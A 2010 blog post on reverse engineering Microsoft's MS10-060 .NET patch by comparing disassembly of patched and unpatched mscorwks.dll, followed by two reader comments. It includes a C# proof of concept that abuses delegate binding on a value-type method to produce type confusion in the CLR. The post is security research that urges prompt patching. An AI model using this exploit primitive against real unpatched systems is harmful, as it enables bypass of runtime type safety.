# Saturday, August 14, 2010
« IKVM.NET 0.44 Release Candidate 4 | Main | @ikvm.lang.Internal Revisited »
Reverse Engineering the MS10-060 .NET Security Patch

On Patch Tuesday, one of the patches Microsoft released was MS10-060. It addresses a Silverlight memory corruption and a CLR delegate issue. I was curious about the CLR delegate issue and decided to see if I could reverse engineer the patch to find the issue. Now, I'm not a professional security researcher or malware developer, so I don't have any good tools to do this. They have binary diffing tools that make it very easy to find the differences between the original file and the patched file. I was stuck with dumpbin /disasm to get the disassembled code for the two versions of the file, but I'm getting ahead of myself.

Patch Contents

In the KB983590 article Microsoft helpfully describes all the files that are changed by the update. Looking through the list it is obvious that there are only two interesting files: mscorwks.dll and mscorlib. After running both the patched and unpatched versions of mscorlib.dll through ildasm it was obvious that there weren't any changes to mscorlib (other than the version number). So I had to focus on the unmanaged code side. I ran the patched and unpatched versions of mscorwks.dll through dumpbin /disasm and looked at the resulting files:

Volume in drive C is 320GB_7200 Volume Serial Number is 0404-135D
Directory of C:\j\ms10-060
08/12/2010 08:36 <DIR> . 08/12/2010 08:36 <DIR> .. 05/21/2010 00:49 5,816,656 mscorwks-ms10-060.dll 08/12/2010 08:28 5,157 mscorwks-ms10-060.headers 08/12/2010 08:38 118,871,231 mscorwks-ms10-060.lst 06/10/2009 23:23 5,816,640 mscorwks-vuln.dll 08/12/2010 08:27 5,153 mscorwks-vuln.headers 08/12/2010 08:35 118,827,088 mscorwks-vuln.lst 6 File(s) 249,341,925 bytes 2 Dir(s) 105,945,309,184 bytes free

OK. So the file sizes are somewhat intimidating. I have the Microsoft symbol server configured, so dumpbin helpfully provided the symbol names, so that makes navigating the files a lot easier. Given the description of the vulnerability, I first looked at how the JIT compiles the construction of a delegate and noticed that it calls the JIT_VirtualFunctionPointer method in mscorwks. I looked at that, but it was unmodified by the patch. I did a little more random browsing through the file but wasn't getting anywhere.

The  Security Researcher

On Wednesday I had gotten an e-mail from a security researcher that wanted to know if I had any details on the vulnerability. I told him I hadn't yet, but was very curious and wanted to look into it. We mailed a couple of times more during the week and on Friday he mailed me a list of addresses of functions that had been changed by the patch. Unfortunately, he was probably looking a different version of the patch (for a different platform), because the addresses didn't make any sense to me.

More Searching

However, his e-mail did inspire me to take another look and this time I thought, why not start by examining all the functions in mscorwks from the COMDelegate class. From the Shared Source CLI code I knew that was the native class that contained the native code for System.Delegate. After about an hour of comparing methods I finally found a difference:

Unpatched mscorwks.dll (2.0.50727.4927 Windows 7 x86):

  7A04799D: 8B CB              mov         ecx,ebx
  7A04799F: E8 36 B9 E2 FF     call        ?IsValueType@MethodTable@@QAEHXZ
  7A0479A4: 85 C0              test        eax,eax
  7A0479A6: 74 09              je          7A0479B1
  7A0479A8: F6 46 03 04        test        byte ptr [esi+3],4
  7A0479AC: 75 03              jne         7A0479B1
  7A0479AE: 33 FF              xor         edi,edi
  7A0479B0: 47                 inc         edi
  7A0479B1: 6A 06              push        6
  7A0479B3: 6A 01              push        1
  7A0479B5: 6A 00              push        0
  7A0479B7: 6A 00              push        0
  7A0479B9: 51                 push        ecx
  7A0479BA: 51                 push        ecx
  7A0479BB: 8B C4              mov         eax,esp
  7A0479BD: 89 65 C0           mov         dword ptr [ebp-40h],esp
  7A0479C0: 50                 push        eax
  7A0479C1: 8B CE              mov         ecx,esi
  7A0479C3: E8 C7 6D E3 FF     call        ?GetMethodInstantiation@MethodDesc@@»

Patched mscorwks.dll (2.0.50727.4952 Windows 7 x86):

  7A0479A3: 8B CF              mov         ecx,edi
  7A0479A5: E8 40 B9 E2 FF     call        ?IsValueType@MethodTable@@QAEHXZ
  7A0479AA: 85 C0              test        eax,eax
  7A0479AC: 74 03              je          7A0479B1
  7A0479AE: 33 DB              xor         ebx,ebx
  7A0479B0: 43                 inc         ebx
  7A0479B1: 6A 06              push        6
  7A0479B3: 6A 01              push        1
  7A0479B5: 6A 00              push        0
  7A0479B7: 6A 00              push        0
  7A0479B9: 51                 push        ecx
  7A0479BA: 51                 push        ecx
  7A0479BB: 8B C4              mov         eax,esp
  7A0479BD: 89 65 C0           mov         dword ptr [ebp-40h],esp
  7A0479C0: 50                 push        eax
  7A0479C1: 8B CE              mov         ecx,esi
  7A0479C3: E8 C7 6D E3 FF     call        ?GetMethodInstantiation@MethodDesc@@»

The highlighted code has been removed. This is in the COMDelegate::BindToMethodInfo method. Looking at the Shared Source CLI code it was easy to locate the corresponding code and I noticed that the removed code was probably an inlined call to method->IsUnboxingStub(). A quick search for IsUnboxingStub in the header files confirmed this.

How to Exploit

After a minute of reflection, I guessed that the bug was probably related to how value type methods have a different concept of "this" than normal methods (because a non-boxed value doesn't have an object header, which is normally where the this pointer points). To solve this, the runtime generates UnboxingStubs for virtual methods (inherited from System.Object) that are overridden by a value type.

I hit the jackpot with my first attempt. Here is a slightly modified version of what I tried:

using System;
using System.Reflection;
class Union1 { internal volatile int i; internal volatile int j; }
class Union2 { internal volatile object o; internal volatile int[] arr; }
public struct Foo { object obj; Union2 u2;
public Foo(object obj) { this.obj = obj; this.u2 = null; }
public override string ToString() { Program.u2 = u2; return null; } }
delegate string MyDelegate();
class Program { internal static Union2 u2;
static void Main(string[] args) { Union1 u1 = new Union1();
MethodInfo method = typeof(Foo).GetMethod("ToString"); MyDelegate d = (MyDelegate)Delegate.CreateDelegate(typeof(MyDelegate), new Foo(u1), method); d();
Console.WriteLine(u1); Console.WriteLine(u2); } }

When you run this code on an unpatched system, you'll see that both WriteLine calls output Union1, in other words, we now have a reference typed as Union2 pointing the a Union1 instance. This is exactly the requirement I described in Writing a .NET Security Exploit PoC.


A had read before that malware authors can often update their malware within an hour after a patch is released to take advantage of the vulnerabilities addressed by the patch, but actually doing the reverse engineering myself did really drive home the point. It took me a couple of days, had I had the proper tools and the motivation I could have easily done this within an hour or so of the patch release. Of course, I had some help from the Shared Source CLI and without the source it would have taken me a bit longer, but then again I'm not an experienced malware author.

So installing the security updates in a timely fashion is really important.

Saturday, August 14, 2010 11:01:33 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [2]
Saturday, August 14, 2010 12:09:25 PM (W. Europe Daylight Time, UTC+02:00)
Well done !

Very interesting, I had took a look also at the patch 2 days ago, but I have just saw the highligh code removed and I didn't know how to exploit it, I'm not familiar with this type of vulnerability.
Your explications are very interesting.

Congratulations ;)
Monday, August 16, 2010 1:28:59 AM (W. Europe Daylight Time, UTC+02:00)
Thank you very much for this interesting write-up.
Comments are closed.